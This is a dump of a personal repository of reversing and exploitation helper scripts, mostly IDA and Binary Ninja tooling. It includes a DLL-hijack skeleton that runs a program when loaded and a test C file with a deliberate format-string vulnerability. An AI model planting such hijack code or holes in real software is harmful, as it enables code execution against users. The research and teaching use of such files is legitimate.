├── icons ├── pdf.ico ├── excel.ico ├── flash.ico ├── word.ico ├── update.ico └── powerpoint.ico ├── ida_scripts ├── tests │ ├── test │ ├── dead_code │ ├── insecure_fmtstr_x64 │ ├── insecure_fmtstr_x86_clang │ ├── insecure_fmtstr_x86_gcc │ ├── insecure_fmtstr_x86_gcc.idb │ ├── dead_code.c │ └── insecure_fmtstr.c ├── dead_code.py ├── dont_touch_my_tralala.py ├── insecure_fmtstr.py ├── ida_color_gdb_trace.py ├── ida_color_pin_trace.py ├── reconstruct_procedure_x86.py ├── ida_color_windbg_trace.py ├── x64_helper.py ├── copy_rva.py ├── mips_helper.py ├── ida_rpyc_server.py └── WinIoCtlDecoder.py ├── .gitignore ├── README.md ├── requirements.txt ├── filetime_to_datetime.py ├── binja_scripts └── binja_rpyc │ ├── constants.py │ ├── __init__.py │ ├── helpers.py │ └── server.py ├── NullDeref.c ├── ctf_pwn_py.sh ├── IdaAutoAnalyze.cfg ├── list_imports.py ├── DllHijackSkel.c ├── import ├── random-word ├── random-word ├── english-adjectives.txt └── english-nouns.txt ├── IdaAutoAnalyzeDirs.py ├── DiaphoraDiff.bat ├── purge_docker.sh ├── create_c_structure.py ├── somewhocares-hosts.py ├── GetSymbolGuid.py ├── update-python.sh ├── LICENSE ├── graph_file_entropy.py ├── update-trinity.sh ├── lin_pwn_skel.py ├── shellcode_wrapper_linux.c ├── win_pwn_skel.py ├── demangle_cpp.py ├── shellcode_wrapper_windows.c ├── cloudatcost.py ├── ipv4_fragment_bombing.py ├── decode_ioctl.py ├── bc_camping.py ├── vergilius.py ├── fakeid.py ├── IdaAutoAnalyze.py ├── CheckSec.c ├── smbwalk.py ├── kcapys.py ├── pentestlib.py ├── xor-payload.py └── patch_tuesday.py /icons/pdf.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/icons/pdf.ico -------------------------------------------------------------------------------- /icons/excel.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/icons/excel.ico -------------------------------------------------------------------------------- /icons/flash.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/icons/flash.ico -------------------------------------------------------------------------------- /icons/word.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/icons/word.ico -------------------------------------------------------------------------------- /icons/update.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/icons/update.ico -------------------------------------------------------------------------------- /icons/powerpoint.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/icons/powerpoint.ico -------------------------------------------------------------------------------- /ida_scripts/tests/test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/ida_scripts/tests/test -------------------------------------------------------------------------------- /ida_scripts/tests/dead_code: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/ida_scripts/tests/dead_code -------------------------------------------------------------------------------- /ida_scripts/tests/insecure_fmtstr_x64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/ida_scripts/tests/insecure_fmtstr_x64 -------------------------------------------------------------------------------- /ida_scripts/tests/insecure_fmtstr_x86_clang: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/ida_scripts/tests/insecure_fmtstr_x86_clang -------------------------------------------------------------------------------- /ida_scripts/tests/insecure_fmtstr_x86_gcc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/ida_scripts/tests/insecure_fmtstr_x86_gcc -------------------------------------------------------------------------------- /ida_scripts/tests/insecure_fmtstr_x86_gcc.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hugsy/stuff/HEAD/ida_scripts/tests/insecure_fmtstr_x86_gcc.idb -------------------------------------------------------------------------------- /ida_scripts/tests/dead_code.c: -------------------------------------------------------------------------------- 1 | int test(char* foo) { 2 | return 42; 3 | } 4 | 5 | int main(int argc, char** argv, char** envp) { 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ida_color_gdb_trace/tests 2 | .gitignore 3 | .gitattributes 4 | *.pyc 5 | *.exe 6 | *.lib 7 | *.dll 8 | *.so 9 | *.o 10 | *.exp 11 | .vscode -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # misc stuff 2 | 3 | 4 | Collection of scripts and tools useful for pentest, reversing and exploitation process that don't deserve their own repo because too crappy or beta++ 5 | 6 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | bs4 2 | lxml 3 | matplotlib 4 | netaddr 5 | numpy 6 | pefile 7 | pyelftools 8 | python-magic 9 | python-magic-bin 10 | requests 11 | termcolor 12 | rich 13 | black 14 | -------------------------------------------------------------------------------- /filetime_to_datetime.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | 3 | def filetime_to_datetime(ft): 4 | us = (ft - 116444736000000000) // 10 5 | return datetime.datetime(1970, 1, 1) + datetime.timedelta(microseconds = us) 6 | -------------------------------------------------------------------------------- /binja_scripts/binja_rpyc/constants.py: -------------------------------------------------------------------------------- 1 | DEBUG = True # change to True for a way more verbose output 2 | 3 | # 4 | # 5 | # 6 | HOST, PORT = "0.0.0.0", 18812 7 | 8 | # 9 | # Some runtime constants 10 | # 11 | PAGE_SIZE = 0x1000 -------------------------------------------------------------------------------- /NullDeref.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | int main() 6 | { 7 | int *p; 8 | //VirtualAlloc((void*)0x10, 0x1000, MEM_COMMIT, PAGE_READWRITE); 9 | p = 0x00; 10 | *p = 0x42; 11 | printf("I should never be here!\n"); 12 | return -1; 13 | } -------------------------------------------------------------------------------- /ctf_pwn_py.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | outfile="./xp.py" 6 | cp ~/code/stuff/lin_pwn_skel.py ${outfile} 7 | sed -i "s/sys.argv\[1\]/'$1'/" ${outfile} 8 | sed -i "s/int(sys.argv\[2\])/$2/" ${outfile} 9 | sed -i "s?os.path.realpath(\"./changeme\")?os.path.realpath(\"$3\")?" ${outfile} -------------------------------------------------------------------------------- /IdaAutoAnalyze.cfg: -------------------------------------------------------------------------------- 1 | # 2 | # this is an example of config file 3 | # the real config file must be placed under %HOMEPATH% 4 | # 5 | [IDA] 6 | ida_path: c:\program files\ida 7.0 7 | idb_path: %(HOME)\idbs 8 | log_file: %(TEMP)\IdaAutoAnalyze.log 9 | 10 | [Scripts] 11 | scripts: 12 | d:\my\first\script.py 13 | w:\my\other\script.py 14 | -------------------------------------------------------------------------------- /ida_scripts/tests/insecure_fmtstr.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void secure_format_string(char* msg){ 4 | printf("%s\n", msg); 5 | } 6 | 7 | void insecure_format_string(char* msg){ 8 | printf(msg); 9 | } 10 | 11 | int main(int argc, char** argv, char** envp){ 12 | secure_format_string(argv[1]); 13 | insecure_format_string(argv[1]); 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /list_imports.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys, pefile 4 | 5 | name = sys.argv[1] 6 | print("Listing IMPORT table for '{:s}'".format(name)) 7 | pe = pefile.PE(name, fast_load=False) 8 | 9 | for entry in pe.DIRECTORY_ENTRY_IMPORT: 10 | print('[+] {:s}'.format(entry.dll)) 11 | for imp in entry.imports: 12 | print ('\t{:#x} : {:s}'.format(imp.address, imp.name)) 13 | -------------------------------------------------------------------------------- /ida_scripts/dead_code.py: -------------------------------------------------------------------------------- 1 | from idaapi import * 2 | 3 | __PLUGIN_NAME__ = "DeadCode" 4 | 5 | for func in Functions(): 6 | if func is None: 7 | continue 8 | 9 | fname = Name(func) 10 | 11 | xref_num = 0 12 | for i in XrefsTo(func, 0) : 13 | xref_num += 1 14 | if xref_num == 0: 15 | Message("[%s] %s (%#x) has no Xref\n" % (__PLUGIN_NAME__, fname, func)) 16 | -------------------------------------------------------------------------------- /DllHijackSkel.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | BOOL __declspec(dllexport) WINAPI DllMain( 6 | _In_ HINSTANCE hinstDLL, 7 | _In_ DWORD fdwReason, 8 | _In_ LPVOID lpvReserved 9 | ) 10 | { 11 | if (fdwReason == DLL_THREAD_ATTACH || fdwReason == DLL_PROCESS_ATTACH) 12 | { 13 | printf("w00t w00t!\n"); 14 | system("C:\\Windows\\System32\\notepad.exe"); 15 | } 16 | 17 | return TRUE; 18 | } -------------------------------------------------------------------------------- /import: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # Screen capture with added shadow effect 4 | # 5 | # 6 | 7 | set -e 8 | 9 | imgname="$1" 10 | tmp=$(/bin/mktemp --suffix .png) 11 | 12 | /usr/bin/import ${tmp} 13 | /usr/bin/convert ${tmp} \ 14 | \( -clone 0 -background black -shadow 80x4+20+20 \) \ 15 | \( -clone 0 -background black -shadow 80x4-10-10 \) \ 16 | -reverse -background none -layers merge +repage ${imgname} 17 | /bin/rm -f -- ${tmp} 18 | 19 | exit 0 20 | -------------------------------------------------------------------------------- /random-word/random-word: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | DIR="$(dirname `readlink $0`)" 4 | WORDLISTS="${DIR}/english-adjectives.txt ${DIR}/english-nouns.txt" 5 | 6 | for wl in ${WORDLISTS} 7 | do 8 | non_random_words=`cat ${wl} | wc -l` 9 | random_number=`od -N3 -An -i /dev/urandom | awk -v f=0 -v r="$non_random_words" '{printf "%i\n", f + r * $1 / 16777216}'` 10 | word=$(sed `echo ${random_number}`"q;d" ${wl}) 11 | res="${res} ${word}" 12 | done 13 | 14 | echo ${res} 15 | 16 | exit 0 17 | -------------------------------------------------------------------------------- /IdaAutoAnalyzeDirs.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Create a snapshot of all DLL/EXE/drivers 4 | 5 | """ 6 | 7 | 8 | import glob, os 9 | 10 | import IdaAutoAnalyze 11 | 12 | DIRS = [ 13 | r'C:\Windows\System32', 14 | r'C:\Windows\System32\drivers', 15 | ] 16 | 17 | EXTS = [ 18 | "*.dll", 19 | "*.exe", 20 | "*.sys", 21 | ] 22 | 23 | 24 | for d in DIRS: 25 | for e in EXTS: 26 | pat = os.sep.join([d, e]) 27 | for f in glob.glob(pat): 28 | IdaAutoAnalyze.auto_analyze_file(f) 29 | -------------------------------------------------------------------------------- /DiaphoraDiff.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set IDA_DIR=C:\Program Files\IDA 7.0 4 | set DIAPHORA_DIR=g:\win\IDA\plugins\diaphora 5 | set DIAPHORA_AUTO=1 6 | set DIAPHORA_USE_DECOMPILER=HexRays 7 | 8 | echo Exporting %1.sqlite 9 | set DIAPHORA_EXPORT_FILE=%1.sqlite 10 | "%IDA_DIR%\ida64.exe" -S%DIAPHORA_DIR%\diaphora.py %1 11 | 12 | echo Exporting %2.sqlite 13 | set DIAPHORA_EXPORT_FILE=%2.sqlite 14 | "%IDA_DIR%\ida64.exe" -S%DIAPHORA_DIR%\diaphora.py %2 15 | 16 | echo Generating Diff DB %1.db 17 | %DIAPHORA_DIR%\diaphora.py -o %1.db %1.sqlite %2.sqlite -------------------------------------------------------------------------------- /ida_scripts/dont_touch_my_tralala.py: -------------------------------------------------------------------------------- 1 | from idaapi import * 2 | 3 | danger_funcs = ["strcpy", "sprintf", "strncpy", "gets", "system"] 4 | 5 | for func in danger_funcs: 6 | print ("Searching for `%s`" % func) 7 | for a,f in Names(): 8 | if func in f: 9 | xrefs = CodeRefsTo( a, False ) 10 | print ("Cross References to `%s` (%#x)" % (f, a)) 11 | print ("-------------------------------") 12 | for xref in xrefs: 13 | print ("Got Xref at %#x" % xref) 14 | SetColor( xref, CIC_ITEM, 0x0000ff) 15 | -------------------------------------------------------------------------------- /purge_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | set -x 5 | 6 | # stop all containers 7 | running_containers="$(docker container ls -a -q)" 8 | test "${running_containers}" != "" && docker container stop $running_containers 9 | 10 | # remove stopped containers 11 | containers="$(docker container ls -a -q)" 12 | test "${containers}" != "" && docker container rm $containers 13 | 14 | # prunes all the volumes 15 | docker system prune -a -f --volumes 16 | 17 | # remove all images 18 | images="$(docker image ls -a -q)" 19 | test "${images}" != "" && docker image rm $images 20 | 21 | exit 0 22 | 23 | -------------------------------------------------------------------------------- /binja_scripts/binja_rpyc/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | """ 4 | 5 | 6 | from binaryninja import ( 7 | PluginCommand, 8 | ) 9 | 10 | 11 | from .server import ( 12 | rpyc_start, 13 | rpyc_stop, 14 | is_service_started, 15 | ) 16 | 17 | 18 | PluginCommand.register( 19 | "RPyC\\Start service", 20 | "Start the RPyC server", 21 | rpyc_start, 22 | is_valid = lambda view: not is_service_started() 23 | ) 24 | 25 | 26 | PluginCommand.register( 27 | "RPyC\\Stop service", 28 | "Start the RPyC server", 29 | rpyc_stop, 30 | is_valid = lambda view: is_service_started() 31 | ) -------------------------------------------------------------------------------- /create_c_structure.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | 5 | """ 6 | stupid script to generate IDA structure the way I like 7 | """ 8 | 9 | 10 | name = sys.argv[1] 11 | size = int(sys.argv[2],0) 12 | ptrsize = int(sys.argv[3]) if len(sys.argv) == 4 else 8 13 | struct_name = name.upper() 14 | 15 | while struct_name.startswith("_"): 16 | struct_name = struct_name.lstrip("_") 17 | 18 | print("""#pragma pack(1)""") 19 | print(f"typedef struct _{struct_name} {{") 20 | for idx, offset in enumerate(range(0, size, ptrsize)): 21 | print(f" /* {offset:04x} */ ULONG_PTR field_{offset:x};") 22 | print(f"}} {struct_name}, *P{struct_name};") 23 | 24 | print(f"static_assert( sizeof({struct_name}) == {size:#x});") 25 | -------------------------------------------------------------------------------- /somewhocares-hosts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import bs4 5 | 6 | 7 | def strip(html): 8 | soup = bs4.BeautifulSoup(html, "html.parser") 9 | body = soup.find("div", "BODY") 10 | pre = body.find("pre").text 11 | lines = [l.strip() for l in pre.splitlines() \ 12 | if not l.strip().startswith("#") and len(l.strip()) ] 13 | return lines 14 | 15 | 16 | def main(): 17 | url = "http://someonewhocares.org/hosts/" 18 | res = requests.get(url) 19 | if res.status_code != 200: 20 | print("Failed to get the page: got %d " % res.status_code) 21 | exit(1) 22 | html = res.text 23 | 24 | stripped = strip(html) 25 | print("\n".join(stripped)) 26 | return 27 | 28 | 29 | if __name__ == "__main__": 30 | main() 31 | -------------------------------------------------------------------------------- /ida_scripts/insecure_fmtstr.py: -------------------------------------------------------------------------------- 1 | from idaapi import * 2 | 3 | # sprintf 4 | # func = ".sprintf" 5 | # addr = LocByName( func ) 6 | # if addr != BADADDR: 7 | # for xref in XrefsTo( addr, False ): 8 | # print ("[+] Xref to `%s` (%#x) at %#x" % (func, addr, xref.frm)) 9 | 10 | # # try to find last uses rsi 11 | # ea = xref.frm 12 | # for _ in xrange(10): 13 | # print DecodePrecedingInstruction(ea).get_canon_mnem() 14 | 15 | 16 | func = ".printf" 17 | addr = LocByName( func ) 18 | if addr != BADADDR: 19 | for xref in XrefsTo( addr, False ): 20 | print ("[+] Xref to `%s` (%#x) at %#x" % (func, addr, xref.frm)) 21 | 22 | (decodedInstruction, farref) = DecodePrecedingInstruction(xref.frm) 23 | 24 | print GetDisasm(decodedInstruction.ea) 25 | 26 | -------------------------------------------------------------------------------- /GetSymbolGuid.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import uuid 5 | import struct 6 | 7 | def u32(x): return struct.unpack(" ${tmp} 28 | /opt/Python-${ver}/python -m pip install --upgrade --user setuptools wheel 29 | /opt/Python-${ver}/python -m pip install --upgrade --user --no-color -r ${tmp} 30 | rm -- ${tmp} 31 | } 32 | 33 | 34 | if [ $# -lt 1 ] 35 | then 36 | echo "Missing desired Python version (example: 3.8.0)" 37 | exit 1 38 | fi 39 | 40 | install_python $1 41 | 42 | migrate_packages $1 43 | 44 | exit 0 45 | -------------------------------------------------------------------------------- /ida_scripts/ida_color_gdb_trace.py: -------------------------------------------------------------------------------- 1 | # 2 | # IDA script to color execution flow from GDB logfile 3 | # 4 | # @_hugsy_ 5 | # 6 | 7 | 8 | from idc import * 9 | from idaapi import * 10 | 11 | __PLUGIN_NAME__ = "GDBColorExecFlow" 12 | __PLUGIN_DESCRIPTION__ = "Use GDB logfile to colorize execution flow in IDB" 13 | 14 | HILIGHT_COLOR = 0x005500 15 | 16 | def get_next_eip(fd): 17 | while True: 18 | data = fd.readline() 19 | if len(data) == 0: #EOF 20 | break 21 | 22 | if not data.startswith("0x"): 23 | continue 24 | 25 | eip = data.split(" ",1)[0] 26 | eip = int(eip, 0x10) 27 | 28 | yield eip 29 | 30 | 31 | ea = ScreenEA() 32 | srcFileName = GetSourceFile(ea) 33 | logFileName = AskFile(0, "*.*", "Enter path to GDB logfile") 34 | 35 | if logFileName is not None: 36 | with open(logFileName, "r") as fd: 37 | print ("[+] Executing '%s'" % __PLUGIN_NAME__) 38 | print ("[+] GDB logfile: %s" % logFileName) 39 | for instr_addr in get_next_eip(fd): 40 | if instr_addr < 0x100000000: 41 | SetColor( instr_addr, CIC_ITEM, HILIGHT_COLOR) 42 | -------------------------------------------------------------------------------- /ida_scripts/ida_color_pin_trace.py: -------------------------------------------------------------------------------- 1 | # 2 | # IDA script to color execution flow from PIN itrace.so logfile 3 | # 4 | # @_hugsy_ 5 | # 6 | 7 | 8 | from idc import * 9 | from idaapi import * 10 | 11 | __PLUGIN_NAME__ = "PinColorExecFlow" 12 | __PLUGIN_DESCRIPTION__ = "Use GDB logfile to colorize execution flow in IDB" 13 | 14 | HILIGHT_COLOR = 0x005500 15 | 16 | def get_next_eip(fd): 17 | while True: 18 | data = fd.readline() 19 | if len(data) == 0: #EOF 20 | break 21 | 22 | if not data.startswith("0x"): 23 | continue 24 | 25 | eip = data.split(" ",1)[0] 26 | eip = int(eip, 0x10) 27 | 28 | yield eip 29 | 30 | 31 | ea = ScreenEA() 32 | srcFileName = GetSourceFile(ea) 33 | logFileName = AskFile(0, "*.*", "Enter path to PIN logfile") 34 | 35 | if logFileName is not None: 36 | with open(logFileName, "r") as fd: 37 | print ("[+] Executing '%s'" % __PLUGIN_NAME__) 38 | print ("[+] GDB logfile: %s" % logFileName) 39 | for instr_addr in get_next_eip(fd): 40 | if instr_addr < 0x100000000: 41 | SetColor( instr_addr, CIC_ITEM, HILIGHT_COLOR) 42 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 crazy hugsy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /graph_file_entropy.py: -------------------------------------------------------------------------------- 1 | # 2 | # graph_file_entropy.py 3 | # 4 | 5 | import sys 6 | import math 7 | import numpy as np 8 | import matplotlib.pyplot as plt 9 | 10 | if len(sys.argv) != 2: 11 | print("Usage: file_entropy.py [path]filename") 12 | sys.exit() 13 | 14 | # read the whole file into a byte array 15 | data = bytearray(open(sys.argv[1], "rb").read()) 16 | 17 | # calculate the frequency of each byte value in the file 18 | freqList = [] 19 | for b in range(256): 20 | ctr = 0 21 | for byte in data: 22 | if byte == b: 23 | ctr += 1 24 | freqList.append(float(ctr) / len(data)) 25 | 26 | # Shannon entropy 27 | ent = 0.0 28 | for freq in freqList: 29 | if freq > 0: 30 | ent = ent + freq * math.log(freq, 2) 31 | ent = -ent 32 | 33 | 34 | N = len(freqList) 35 | 36 | ind = np.arange(N) # the x locations for the groups 37 | width = 1.00 # the width of the bars 38 | 39 | fig = plt.figure(figsize=(11,5),dpi=100) 40 | ax = fig.add_subplot(111) 41 | rects1 = ax.bar(ind, freqList, width) 42 | ax.set_autoscalex_on(False) 43 | ax.set_xlim([0,255]) 44 | 45 | ax.set_ylabel('Frequency') 46 | ax.set_xlabel('Byte') 47 | ax.set_title('Frequency of Bytes 0 to 255\nFILENAME: ' + sys.argv[1]) 48 | 49 | plt.show() -------------------------------------------------------------------------------- /binja_scripts/binja_rpyc/helpers.py: -------------------------------------------------------------------------------- 1 | from binaryninja import ( 2 | log_info, 3 | log_debug, 4 | log_error, 5 | BackgroundTaskThread, 6 | ) 7 | 8 | from .constants import ( 9 | DEBUG, 10 | ) 11 | 12 | 13 | def expose(f): 14 | "Decorator to set exposed flag on a function." 15 | f.exposed = True 16 | return f 17 | 18 | 19 | def is_exposed(f): 20 | "Test whether another function should be publicly exposed." 21 | return getattr(f, 'exposed', False) 22 | 23 | 24 | def ishex(s): 25 | return s.lower().startswith("0x") and map(lambda c: c in "0123456789abcdef", s[2:].lower()) 26 | 27 | 28 | def info(x): 29 | log_info("[+] {:s}".format(x)) 30 | 31 | def err(x): 32 | log_error("[-] {:s}".format(x)) 33 | 34 | def dbg(x): 35 | if DEBUG: 36 | log_debug("[*] {:s}".format(x)) 37 | 38 | 39 | 40 | class RunInBackground(BackgroundTaskThread): 41 | def __init__(self, target, cancel_cb=None, *args, **kwargs): 42 | BackgroundTaskThread.__init__(self, '', cancel_cb is not None) 43 | self.target = target 44 | self.args = args 45 | self.kwargs = kwargs 46 | self.cancel_cb = cancel_cb 47 | return 48 | 49 | def run(self): 50 | self.target(self, *self.args, **self.kwargs) 51 | return 52 | 53 | def cancel(self): 54 | self.cancel_cb() 55 | return 56 | 57 | -------------------------------------------------------------------------------- /ida_scripts/reconstruct_procedure_x86.py: -------------------------------------------------------------------------------- 1 | """ 2 | This simple script for IDA will look for function prolog sequence for x86 binaries 3 | i.e. (in Intel syntax) 4 | 5 | push ebp 6 | mov ebp, esp 7 | 8 | And will make IDA treat it as a procedure. 9 | 10 | @_hugsy_ 11 | """ 12 | 13 | import idc 14 | import idaapi 15 | import sys 16 | import idautils 17 | 18 | 19 | hilight_color = 0x009900 20 | prolog_sequence = "55 89 e5" 21 | ea = idc.ScreenEA() 22 | addr = idc.SegStart(ea) 23 | print "[!] Analyzing from %#x" % addr 24 | 25 | while True: 26 | res = idc.FindBinary(addr, idaapi.BIN_SEARCH_FORWARD, prolog_sequence, 16) 27 | if res == idaapi.BADADDR: 28 | break 29 | 30 | func = idc.GetFuncOffset(res) 31 | if func is not None: 32 | print "[*] %#x already matching function %s" % (res, func) 33 | else: 34 | print "[+] Matching at %#x" % res 35 | idc.Jump(res) 36 | col = idc.GetColor(res, idc.CIC_ITEM) 37 | idc.SetColor(res, idc.CIC_ITEM, hilight_color) 38 | idc.SetColor(res + 1, idc.CIC_ITEM, hilight_color) 39 | 40 | ret = idc.AskYN(0, "Would you like to create a function at %#x ?" % res) 41 | if ret == 1: 42 | idc.MakeFunction(res) 43 | print "[+] Creating function at %#x" % res 44 | 45 | idc.SetColor(res, idc.CIC_ITEM, col) 46 | idc.SetColor(res + 1, idc.CIC_ITEM, col) 47 | 48 | addr = res + len(prolog_sequence) 49 | 50 | print "[!] EOT" 51 | -------------------------------------------------------------------------------- /update-trinity.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Install/update Capstone/Keystone/Unicorn from GitHub with Python2/Python3 bindings 4 | # First time, run: 5 | # $ sudo apt-get install git cmake gcc g++ pkg-config libglib2.0-dev 6 | # 7 | 8 | LOGFILE=/tmp/update-trinity.log 9 | NB_CPU="$(grep -c processor /proc/cpuinfo)" 10 | 11 | exec >${LOGFILE} 12 | set -e 13 | 14 | echo "[+] Log file is in '${LOGFILE}'" >&2 15 | echo "[+] Starting compilation on ${NB_CPU} core(s)" >&2 16 | 17 | pushd . 18 | 19 | echo "[+] Installing keystone + bindings" >&2 20 | pushd /tmp 21 | git clone --quiet https://github.com/keystone-engine/keystone.git 22 | mkdir -p keystone/build && cd keystone/build 23 | sed -i "s/make -j8/make -j${NB_CPU}/g" ../make-share.sh 24 | ../make-share.sh 25 | sudo make install 26 | cd ../bindings/python 27 | sudo make install install3 28 | popd 29 | echo "[+] Done" >&2 30 | 31 | echo "[+] Installing capstone + bindings" >&2 32 | pushd /tmp 33 | git clone --quiet https://github.com/aquynh/capstone.git 34 | cd capstone 35 | ./make.sh default -j${NB_CPU} 36 | sudo ./make.sh install 37 | cd ./bindings/python 38 | sudo make install install3 39 | popd 40 | echo "[+] Done" >&2 41 | 42 | echo "[+] Installing unicorn + bindings" >&2 43 | pushd /tmp 44 | git clone --quiet https://github.com/unicorn-engine/unicorn.git 45 | cd unicorn 46 | MAKE_JOBS=${NB_CPU} ./make.sh 47 | sudo ./make.sh install 48 | cd ./bindings/python 49 | sudo make install install3 50 | popd 51 | echo "[+] Done" >&2 52 | 53 | echo "[+] Cleanup" >&2 54 | sudo rm -fr -- /tmp/{keystone,capstone,unicorn} 55 | sudo ldconfig 56 | 57 | popd 58 | -------------------------------------------------------------------------------- /ida_scripts/ida_color_windbg_trace.py: -------------------------------------------------------------------------------- 1 | """ 2 | IDA script to color execution flow, i.e. highlight all instructions taken by runtime 3 | from a WinDBG log file. 4 | 5 | In WinDBG, generate a trace log with the following sequence: 6 | 0:000> bp 0xStartAdress 7 | 0:000> .logopen c:\temp\myapp.log 8 | 0:000> pa 0xEndAddress 9 | 0:000> .logclose 10 | 11 | Note: watch out for aslr 12 | 13 | @_hugsy_ 14 | """ 15 | 16 | from idc import * 17 | from idaapi import * 18 | 19 | __PLUGIN_NAME__ = "ColorExecFlow" 20 | __PLUGIN_DESCRIPTION__ = "Use WinDBG logfile to colorize execution flow in IDB" 21 | 22 | HILIGHT_COLOR = 0xaa0000 23 | 24 | def get_next_eip(fd, module): 25 | while True: 26 | data = fd.readline() 27 | if len(data) == 0: #EOF 28 | break 29 | 30 | if not data.startswith("%s!" % module): continue 31 | data = data.strip().replace(":", "") 32 | 33 | mod, func = data.split("!") 34 | if module != mod: 35 | continue 36 | if "+" in func: 37 | func_name, offset = func.split("+") 38 | offset = int(offset, 16) 39 | else: 40 | func_name, offset = func, 0 41 | 42 | addr = idc.get_name_ea_simple(func_name) 43 | addr += offset 44 | yield addr 45 | 46 | 47 | ea = idc.here() 48 | #srcFileName = GetSourceFile(ea) 49 | logFileName = ida_kernwin.ask_file(0, "*.*", "Enter path to WinDBG logfile") 50 | 51 | if logFileName is not None: 52 | with open(logFileName, "r") as fd: 53 | print ("[+] Executing '%s'" % __PLUGIN_NAME__) 54 | print ("[+] WinDBG logfile: %s" % logFileName) 55 | for instr_addr in get_next_eip(fd, "tcpip"): 56 | #if instr_addr < 0x100000000: 57 | #addr = idc.get_name_ea_simple(instr_addr) 58 | print(hex(instr_addr)) 59 | idc.set_color( instr_addr, CIC_ITEM, HILIGHT_COLOR) 60 | 61 | -------------------------------------------------------------------------------- /ida_scripts/x64_helper.py: -------------------------------------------------------------------------------- 1 | # x64 abi fast calling convention 2 | # http://msdn.microsoft.com/en-us/library/ms235286.aspx 3 | # 4 | from idautils import * 5 | from idc import * 6 | 7 | def get_register_index(regs, reg): 8 | for i in regs.keys(): 9 | if reg.endswith(i): 10 | return i 11 | return None 12 | 13 | def dereference_register(ea, reg): 14 | return GetReg(ea, reg) 15 | 16 | ea = here() 17 | 18 | for func in Functions(SegStart(ea), SegEnd(ea)): 19 | regs = { 20 | "di" : None, 21 | "si" : None, 22 | "dx" : None, 23 | "cx" : None, 24 | "r8" : None, 25 | "r9" : None, 26 | } 27 | 28 | name = GetFunctionName(func) 29 | for item in list(FuncItems(func)): 30 | # opc = GetDisasm(item) 31 | mnem = GetMnem(item) 32 | if mnem == "call": 33 | called_funcname = GetOpnd(item, 0) 34 | args = "" 35 | for i in regs.keys(): 36 | if regs[i] is not None: 37 | args+= "%s, " % regs[i] 38 | regs[i] = None 39 | MakeComm(item, "%s ( %s )" % (called_funcname, args[:-2])) 40 | 41 | elif mnem == "mov": 42 | dst = GetOpnd(item, 0) 43 | src = GetOpnd(item, 1) 44 | # src = int(GetOperandValue(item, 1)) 45 | 46 | idx = get_register_index(regs, dst) 47 | if idx is None: 48 | continue 49 | 50 | regs[idx] = src 51 | MakeComm(item, "$%s = %s;" % (dst, src)) 52 | 53 | elif mnem == "xor": 54 | dst = GetOpnd(item, 0) 55 | src = GetOpnd(item, 1) 56 | 57 | if dst != src: 58 | MakeComm(item, "$%s = %s ^ %s;" % (dst, dst, src)) 59 | else: 60 | MakeComm(item, "$%s = 0;" % (dst)) 61 | 62 | 